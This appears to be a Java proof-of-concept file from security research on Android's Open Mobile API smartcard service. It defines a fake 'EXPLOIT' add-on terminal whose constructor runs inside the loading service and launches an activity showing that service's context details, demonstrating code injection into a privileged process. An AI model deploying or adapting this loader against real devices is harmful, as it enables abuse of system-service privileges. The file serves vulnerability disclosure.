/*
** Copyright (C) 2015-2016  Michael Roland <mi.roland@fh.hagenberg.at>
**                          FH OÖ Forschungs & Entwicklungs GmbH
**
** This program is free software: you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program.  If not, see <http://www.gnu.org/licenses/>.
**
*/
package org.simalliance.openmobileapi.service.terminals.exploit;

import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;

import java.util.MissingResourceException;
import org.simalliance.openmobileapi.SEService;

public class ExploitTerminal {
    private static final String LOG_TAG = ExploitTerminal.class.getSimpleName();
    
    private static final long REINVOKE_MIN_DELAY = 60000000000L;
    private static boolean sHasRun = false;
    private static long sLastInvocation = 0;
    private static synchronized boolean allowReinvoke() {
        long now = System.nanoTime();
        
        if (sHasRun) {
            if ((now - sLastInvocation) < REINVOKE_MIN_DELAY) {
                return false;
            }
        }
        
        sHasRun = true;
        sLastInvocation = now;
        return true;
    }
    
    public ExploitTerminal(final Context context) {
        if (!allowReinvoke()) return;
        
        final ContextInfo constructorContextInfo = new ContextInfo(context);

        SEService se = new SEService(context, new SEService.CallBack() {
            public void serviceConnected(SEService service) {
                try {
                    final ContextInfo callbackContextInfo = new ContextInfo(context);
                    final OmapiInfo omapiInfo = new OmapiInfo(service, new String[]{"EXPLOIT"});

                    final Intent intent = new Intent();
                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    intent.setClassName(
                            "org.simalliance.openmobileapi.service.terminals.exploit",
                            "org.simalliance.openmobileapi.service.terminals.exploit.activities.MainActivity");
                    intent.putExtra("info_context_constructor", constructorContextInfo);
                    intent.putExtra("info_context_callback", callbackContextInfo);
                    intent.putExtra("info_omapi", omapiInfo);

                    Handler handler = new Handler(Looper.getMainLooper());
                    handler.postDelayed(new Runnable() {
                        @Override
                        public void run() {
                            try {
                                context.startActivity(intent);
                            } catch (Exception e) {
                                Log.e(LOG_TAG, "Could not start activity", e);
                            }
                        }
                    }, 10000);
                } catch (Exception e) {
                    Log.e(LOG_TAG, "Error", e);
                } finally {
                    service.shutdown();
                }
            }
        });
    }

    ////////////////////////////////////////////////////////////////////////////////
    // Addon Terminal minimum functional interface for
    // various implementations of the smartcard service
    ////////////////////////////////////////////////////////////////////////////////
    
    public String getName() { return "EXPLOIT01"; }
    public String getType() { return "EXPLOIT"; }
    
    public boolean isCardPresent() { return true; }
    
    public void internalConnect() {}
    public void internalDisconnect() {}
    
    public byte[] getAtr() { return new byte[0]; }
    
    public int internalOpenLogicalChannel() { throw new MissingResourceException("", "", ""); }
    public int internalOpenLogicalChannel(byte[] aid) { throw new MissingResourceException("", "", ""); }
    public byte[] getSelectResponse() { return null; }
    public void internalCloseLogicalChannel(int channel) {}
    
    public byte[] internalTransmit(byte[] command) { return new byte[] { (byte)0x6F, (byte)0x00 }; }
    
    public boolean isChannelCanBeEstablished() { return false; }
    
    public void setCallingPackageInfo(String pkg, int uid, int pid) {}
    
    public byte[] internalGetUid() { return new byte[] { (byte)0x12, (byte)0x34, (byte)0x56, (byte)0x78 }; }
}
